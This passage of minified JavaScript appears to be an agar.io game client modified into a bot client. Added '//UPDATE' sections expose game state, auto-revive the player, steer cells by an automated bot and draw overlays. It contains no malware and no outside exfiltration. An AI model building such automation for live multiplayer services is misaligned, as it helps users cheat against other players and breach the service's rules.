g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; } var a; if (T()) { a = fa - m / 2; var b = ga - r / 2; for (var i = 0; i < getPlayer().length; i++) { var tempID = getPlayer()[i].id; 64 > a * a + b * b || .01 > Math.abs(eb - ia[i]) && .01 > Math.abs(fb - ja[i]) || (eb = ia[i], fb = ja[i], a = N(21), a.setUint8(0, 16), a.setFloat64(1, ia[i], !0), a.setFloat64(9, ja[i], !0), a.setUint32(17, tempID, !0), O(a)) } } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = "#FFFFFF"; f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](toggleFollow); if (selectedCell > 0) { Aa(); } if (!toggle) { var startIndex = (selectedCell == 0 ? 0 : selectedCell); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(moveLoc[(i + startIndex).mod(getPlayer().length)][0], moveLoc[(i + startIndex).mod(getPlayer().length)][1], (i + startIndex).mod(getPlayer().length)); } } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var debugStrings = []; debugStrings.push("Current Bot: " + window.botList[botIndex][0]); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Q - Follow Mouse: " + (toggleFollow ? "On" : "Off")); debugStrings.push("S - Manual Cell: " + (selectedCell == 0 ? "None" : selectedCell) + " of " + getPlayer().length); debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }) } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, toggleFollow = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["-|0_0|-"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], selectedCell = 0, q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = [-1], ja = [-1], zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE window.getDarkBool = function() { return ta; } window.getMassBool = function() { return lb; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return v; } window.getCells = function() { return E; } window.getPlayer = function() { return k; } window.getWidth = function() { return m; } window.getHeight = function() { return r; } window.getRatio = function() { return h; } window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia[0]; } window.getPointY = function() { return ja[0]; } window.getMouseX = function() { return fa; } window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } window.getMode = function() { return P; } window.setPoint = function(x, y, index) { while (ia.length > getPlayer().length) { ia.pop(); ja.pop(); } if (index < ia.length) { ia[index] = x; ja[index] = y; } else { while (index < ia.length - 1) { ia.push(-1); ja.push(-1); } ia.push(x); ja.push(y); } } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } var ma = 500, eb = -1, fb = -1, z = null, D = 1, ua = null, Ua = function() { var a = Date.now(), b = 1E3 / 60; return function() { d.requestAnimationFrame(Ua); var c = Date.now(), l = c - a; l > b && (a = c - l % b, !T() || 240 > Date.now() - bb ? 